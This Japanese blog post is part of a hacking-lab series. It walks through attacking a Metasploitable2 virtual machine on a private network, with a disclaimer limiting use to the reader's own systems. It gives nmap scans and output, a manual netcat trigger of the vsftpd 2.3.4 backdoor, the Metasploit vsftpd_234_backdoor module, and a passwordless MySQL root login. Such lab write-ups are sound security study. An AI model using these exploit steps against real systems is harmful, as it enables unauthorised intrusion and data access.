Kali Linux2022.1 でハッキングラボをつくってみる 7　Metasploitable2をハッキングする2 nmapとmetasploitでの攻撃

# はじめに
書籍「ハッキング・ラボのつくりかた」p.371-380を参考に、Kalilinux2022.1で検証してみた記事です。
:::note alert
注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。
:::
# 攻撃の第一歩・ポートスキャン
[前回](https://qiita.com/kagirohi/items/6216d244110990f8e6d4)からの続き

攻撃の流れ

情報を調査・収集　→　攻撃に利用できそうなサービスを特定 →　攻撃

情報を調査・収集する手段のひとつに、ポートスキャンがある。
ポートスキャンには、nmapコマンドを使う。
まず、ポートスキャンの前に、ネットワーク内に攻撃対象のやられマシンがあるかどうか調べたいので、オプション -snか-sPをつけて、Pingスキャンを実行する。
Pingスキャンは文字通りpingだけを実行するので、開いているポート番号を特定する（ポートスキャン）ことはない。
ポートスキャンの乱用は、ネットワークの管理者などから、ハッキングだと解釈される場合もある。

オプションは、-snか-sPのどちらかを使う。
```
nmap -sn 192.168.56.0/24
//または
nmap -sP 192.168.56.0/24
```
コマンドの実行結果から、やられマシンのローカルIPアドレス(192.168.56.5)を見つけた。

# ポートスキャンを実行
ポートスキャンで、
開いているポート番号、サービスのバージョンとOSの種類を調べる。
```
sudo nmap -sV -O -p- 192.168.56.5
```

- -sV : バージョンスキャン　サービスの脆弱性を調べたいので、サービスのバージョンを検出する
- -O : OSを特定する
-  -p- : 1から65535のポート番号を対象にする。

ポート番号65535までの区分は、以下の通り。
- 0-1023番ポート	ウェルノウンポート(well known ports)
- 1024-49151番ポート	登録済みポート(registered ports)
- 49152-65535番ポート	動的/プライベートポート(dynamic/private port)

コマンドの実行結果は以下の通り。
```
Nmap scan report for 192.168.56.5
Host is up (0.00082s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 2.3.4
22/tcp    open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet      Linux telnetd
25/tcp    open  smtp        Postfix smtpd
53/tcp    open  domain      ISC BIND 9.4.2
80/tcp    open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec        netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell       Netkit rshd
1099/tcp  open  java-rmi    GNU Classpath grmiregistry
1524/tcp  open  bindshell   Metasploitable root shell
2049/tcp  open  nfs         2-4 (RPC #100003)
2121/tcp  open  ftp         ProFTPD 1.3.1
3306/tcp  open  mysql       MySQL 5.0.51a-3ubuntu5
3632/tcp  open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc         VNC (protocol 3.3)
6000/tcp  open  X11         (access denied)
6667/tcp  open  irc         UnrealIRCd
6697/tcp  open  irc         UnrealIRCd
8009/tcp  open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1
8787/tcp  open  drb         Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
33541/tcp open  nlockmgr    1-4 (RPC #100021)
38529/tcp open  java-rmi    GNU Classpath grmiregistry
39200/tcp open  status      1 (RPC #100024)
53047/tcp open  mountd      1-3 (RPC #100005)
MAC Address: 08:00:27:1F:D0:54 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 154.32 seconds
```

同書p.374より
> 検出されたポート番号のうち、特に気になるものは次の通りです。 
> - ポート21 : vsftpd
> - ポート1524 : Metasploitable root shell
> - ポート5900 : VNC

このように例示されているので、ここからハッキングをしてみる。

# vsftpdの脆弱性を利用する
同書p.374-375より
>vsftpd2.3.4向けのExploitを探します。CVE Details(https:\//www.cvedetails.com/)やExploit-DB(http:/\/exploit-db.com/)で検索すると、「Backdoor Command Execution」という脆弱性があることがわかります。Exploit-DBの検索結果より、Metasploitに攻撃プログラムが備わっていることもわかります。
解説によると、vsftpd2.3.4にはリモートからコマンド実行を可能とするバックドアが含まれているようです。「:)」を含むユーザー名でFTPにログインすると、ポート6200にバックドアが開きます。ポート6200(TCP)にアクセスすることで、vsftpdの実行権限で任意のコマンドを実行できます。

この脆弱性は2022年現在でも確認できる。
## Netcatを利用する
実際にやってみる。
本当に、Metasploitable2上でポート6200(TCP）が開くのか確認するために、以下のコマンドを実行する。
```
netstat -na | grep 6200
```
この段階では、まだ開いていないので、何も出力されない。

開いていないことを確認したら、次のコマンドを実行。
```
nc 192.168.56.5 21
user hoge:)
pass hoge
```
`nc IPアドレス 21`で、ポート２１が開かれて、ftpがつながる。
`user`コマンドでは、最後が":)"で終わる任意のユーザー名、
`pass`コマンドでは、任意のパスワードを指定する。
別の端末から、`nc -nv 192.168.56.5 6200`コマンドを実行すると、Metasploitable2で任意のコマンドを実行できる。

この状態で、Metasploitable2上で再度、`netstat -na | grep 6200`コマンドを実行すると、6200番ポートが開かれていることが確認できた。
![VirtualBox_Metasploitable2_netstat6220.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/b177687d-0536-7dbe-2d5a-512085107099.png)

## Metasploitでやってみる
RHOSTはMetasploitableのIPアドレスに設定する。
```:msf >
use exploit/unix/ftp/vsftpd_234_backdoor
set rhost 192.168.56.5
show options
exploit
```
`show options`でオプション内容を確認したあと、`exploit`を実行する。
exploit後は、Metasploitのコンソールで、Metasplotableで任意のコマンドが実行可能になる。終了したい場合は、`exit`コマンド。

# Metasploitable root shellの脆弱性を利用
[Exploit Database](https://www.exploit-db.com/)、[CVE Details](https://www.cvedetails.com/)ともに、情報はなかった。
# VNC (protocol 3.3)の脆弱性を利用
[Exploit Database](https://www.exploit-db.com/)、[CVE Details](https://www.cvedetails.com/)ともに、利用できそうな情報はなかった。

# データベースMySQLの脆弱性を利用する
3306番ポートが開いているので、MySQLにアクセスすることができることがわかる。
rootでログインしてみる。
```
mysql -h 192.168.56.5 -u root
```
パスワードは求められなかった。
データベースもテーブルも閲覧可能。
```sql:MySQL [(none)]>
show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| dvwa               |
| metasploit         |
| mysql              |
| owasp10            |
| tikiwiki           |
| tikiwiki195        |
+--------------------+

select user,password from user;
+------------------+----------+
| user             | password |
+------------------+----------+
| debian-sys-maint |          |
| root             |          |
| guest            |          |
+------------------+----------+
exit;
```
「脆弱性を利用する」と章にあるが、脆弱性はパスワードが設定されていないという基本的なもので、exploitを利用することもなかった。
Exploit DatabaseやCVE Detailsによると、MySQL 5.0.51aには、いくつかの脆弱性が報告されている。

# おわりに
次回は、パスワードクラック
参考にしたもの
「ハッキング・ラボのつくりかた」

https://hi-nemos.com/port/

https://www.exploit-db.com/

https://www.cvedetails.com/